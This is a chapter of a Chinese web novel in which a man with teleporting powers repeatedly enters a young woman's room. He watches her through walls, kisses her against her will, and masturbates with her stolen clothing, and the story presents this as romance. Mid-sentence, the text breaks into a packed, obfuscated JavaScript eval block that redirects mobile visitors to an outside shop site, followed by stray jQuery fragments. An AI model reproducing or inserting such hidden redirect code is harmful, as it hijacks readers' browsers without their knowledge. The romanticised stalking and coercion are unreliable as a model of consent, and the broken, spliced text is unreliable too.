“啊——”时浅无法克制地失声尖叫。
现在已是深夜,光脑关闭后,房间里几乎没有一丝光线,只能依稀看到身后人影的轮廓。
祁安澜整个人像水鬼一样从背后缠上来,将头放在她的颈窝,“浅浅为什么不收我的钱?”
他的异能简直不讲道理,时浅觉得她的私人领域在不断被侵占。
微微低头便能看到他银色的发丝缠在颈上,闪烁着微光。
她收钱了啊,她已经把祁安澜在奢侈品店花的所有钱以高利贷的利率连本带利地收回来,精确到小数点后两位。
多的她是真的不敢收。现在祁安澜已经是这副来去自如的模样,收了他只会更理所应当。
“放开我,我要睡觉。”
“浅浅离他们远点,那个林绪青也是一样……浅浅以为她就是什么光风霁月的大善人么?”祁安澜将怀抱慢慢收紧,“她的眼里只有效忠王室,浅浅也不过是她形象工程的一部分,为真爱而不顾世人眼光、甚至背叛王子的情节注定只是童话。”
“即使她愿意和你在一起,你们又能逃到哪里去呢?”
在寂静的夜晚,祁安澜好听的嗓音如海妖的歌声般响在耳畔,蛊惑着着她的思绪朝着既定的轨道驶去。
她蓦地惊出一身冷汗,原来他都知道!不敢想象刚刚祁安澜在她身后站了多久。
谁会把剪辑视频当真?为真爱背叛王室……他的思维真跳跃。时浅忙努力挣开他的怀抱,想说些什么又觉得他的脑回路清奇,解释还不如主动质问。
“以后可不可以来之前通知我一下,给我留一点私人空间,万一我在……换衣服怎么办?!”门和围墙对他而言形同虚设。
“那真是太好了。”祁安澜撩开她额前的发丝,与她额头相抵。
时浅把灯打开,和神出鬼没的祁安澜共处一室简直太可怕了。
明亮的灯光之下,祁安澜漂亮的脸上青紫交加,一只眼睛微微肿起,显得两只眼睛大小不一,虽无损于他的美貌,但难免有些滑稽。
“疼不疼?”
他忽然撇过头向后藏,用一只手挡着她的视线,“别看了,丑死了。”他又补充一句,“霍星泽下手没轻没重。”
祁安澜感觉到时浅柔软的手指拨开他挡着的手,落在他肿起的眼皮上,“浅浅是在关心我吗?”
他低下身坐在沙发上,用腿圈着时浅的腿,仰视着时浅。在他眼中,时浅仿若天上的明月,她眉眼间似乎有些慈悲。
“上药了吗?”
“没有。”他面不改色地说着谎。像是怕时浅看不到似的,他狠狠朝着唇角抹了一把,立时唇角又渗出血来。
“药呢?”
他沾血的嘴角露出一丝笑容,显得有些诡异。
不知他从哪里变出一瓶伤药,透明的颜色。
他仰着头,感受着时浅上药小心翼翼的动作,从伤口处传来冰凉又痒痒的感觉,一股幸福的氛围萦绕着他。
时浅很专注,眼里满是他的倒影。
对,就应该是这样,她的眼中就应该只盛得下他一个人。
如果这时间可以被无限拉长就好了,祁安澜用视线细细描摹时浅的五官。
他的目光如有实质,时浅的耳朵悄悄变红,她加快手上的动作。
“活该。”时浅本想疾言厉色地说出这句话,但想到祁安澜也算从霍星泽手中解救了自己,话语中的责备就大打折扣。
算了,先想办法稳住他。
祁安澜从身体深处升起一种想吻她的冲动。他这么想,便也这么做了。
他猛地将时浅拽向他的方向,棉签滚落在一旁,他自下而上地吻着时浅。
两个人的牙齿磕在一起,血腥味混杂着苦涩药味在唇齿间弥漫。时浅想,祁安澜像水鬼一样掠夺她的呼吸,让她没有喘息的空隙。
直到那苦涩味完全被甘甜所取代,祁安澜才恋恋不舍地放开她。
时浅想要后退,却被他的腿交叉抵在中间,动弹不得。
她平复着呼吸,用袖子狠狠擦了擦嘴唇。
“是我活该。”祁安澜握住时浅刚帮他上药的手,抬起来细细吻着。他唇角的药粘在时浅细白的手背上。
“好了,快走吧,我真的要睡觉。”
本想打他一巴掌,又怕他和上次一样爽到。亲也亲了,时浅破罐子破摔,推着他出去。
祁安澜站在原地,时浅根本推不动。
“宝宝还没加我的联系方式。”祁安澜晃了晃手指,他的光脑也换成戒指的形状,看起来和她手上的竟有些相似。
他大有一副不加上联系方式就不走的架势。直到时浅面对面地通过他的好友请求,祁安澜才略有些满意地离开。
他依然没走正门。
凭什么他们的异能这么强,时浅有些愤愤地想到。
不过仔细观察祁安澜离开的轨迹,时浅发现她可以看清被撕裂的空气周围隐约有浊气浮动,这在祁安澜不运用异能时是完全看不到的。
尽管极其短暂。
灵气和这个世界的异能有着某种联系。在林绪青身上发现的规律似乎再次被验证。
【晚安,浅浅。】手指上的光脑震动。
时浅立刻左滑把祁安澜的整个聊天框删除。
【祁安澜的厌恶值上涨为43%,宿主。】
“系统,他真的讨厌吗,他明明很爽好吗?”
【我的检测值不可能出错呢宿主,即使出了什么问题,我就在这里,一定会稳稳地接住你。】
"你怎么接……?完不成任务回不了家的是我。"时浅放弃和系统沟通,管他是怎么计算的厌恶值,能刷到100%就好。
简单洗过澡后,为了酝酿睡意,时浅又打开校园论坛。奇怪的是首页关于她的帖子几乎全都消失不见,只留下几个正常到诡异的,比如:【植物系异能,是可以让果实想长多大长多大吗?简直太酷了!】
【那些看不惯时浅的,你能速通入学考试吗[鄙视]……】
帝国大学的学生什么时候这么纯良了?看来审核的大手发力了。
紧接着,时浅又看到她和林绪青的CP帖仍飘在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863549|212122||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
首页。
怎么,审核你也爱磕,对吗。
*
“坏宝宝。”祁安澜的唇间溢出一声难耐的喘/息。
在祁安澜面前,那堵墙壁如若无物,他能看清房间的任何一个细节。包括时浅玩儿着光脑被逗笑时唇边的浅笑。
“这么开心啊……”
明明看到他的消息,为什么不回复?为什么要忽视他?连句“晚安”也不肯施舍给他吗。
时浅的房间里,她的东西少得可怜。
他手里有刚刚从屋里拿出的布料。
绝对不能被她发现。
“坏宝宝……”
“乖宝宝……”
“浅浅,浅浅……”房间里只余少年难耐的喘Ⅰ息。
祁安澜看着时浅专心看光脑的神情,他心里涌起一种不满,为什么,为什么她能如此抽离,仿佛什么都不能让她留恋分毫。
只留他们沉溺在欲望的深潭中。
直到时浅陷入睡梦中,这喘息仍在继续。
*
“七、八、九、十……”时浅用气声顺着呼吸数数。
祁安澜忽然出现在身下软垫上时,时浅真有种无可奈何到想流泪的感觉,可她做体能训练已经把汗水流干。
这是第三组体能训练。十个标准俯卧撑已经是时浅的体能极限,腹部的酸痛感和逐渐发抖的双臂让她无法出声。
祁安澜骤然出现的时候,她正向下坐着俯卧撑,忽然他的脸就放大般出现在她眼前。
他淡灰色的眸子注视着她,宛若深潭。她的鼻梁就要碰到祁安澜高挺的鼻梁。
吓得时浅差点没撑起来。
“浅浅可以把手掌稍稍外旋,这样会轻松一些。”他们几乎脸贴着脸。
他还有心情指导她的俯卧撑动作,怎么,健身教练吗?健身教练会这样吗!
她已经尽可能不出房间,都已经被逼成这样了能不能放过她。门和墙壁至少能物理阻隔别的异能者,却无法限制祁安澜。
他的眸中倒映着她惊慌失措的脸。看她惊恐的神情,祁安澜心里稍稍平衡一点。终于,她不再是那副心绪无法被牵动的样子。
时浅感觉到自己脸侧飞快落下一个吻,为了不因力竭而趴在祁安澜身上,她被吓得猛地向一侧滚去。
又来?!
“你……外婆就在外面。”她脸上泛着运动后的薄红。
“外婆不在就可以吗?”祁安澜支起手,好整以暇地问道。
时浅:……
外间忽然传来声响,接着是外婆开门的声音。
门外人似是愣了一瞬,随后传来他乖巧的声音,“奶奶好,我来找时浅同学。”
祁安澜的脸色明显阴沉下来。
*
彩蛋:
如果问祁安澜一个不得不据实回答的问题。
Q:你利用异能看到本不该看到的不觉得羞愧吗?
A:我什么时候标榜过自己是正人君子?更何况我遏制欲望,没有选择浴室等地作为观测地点,完全算得上高风亮节。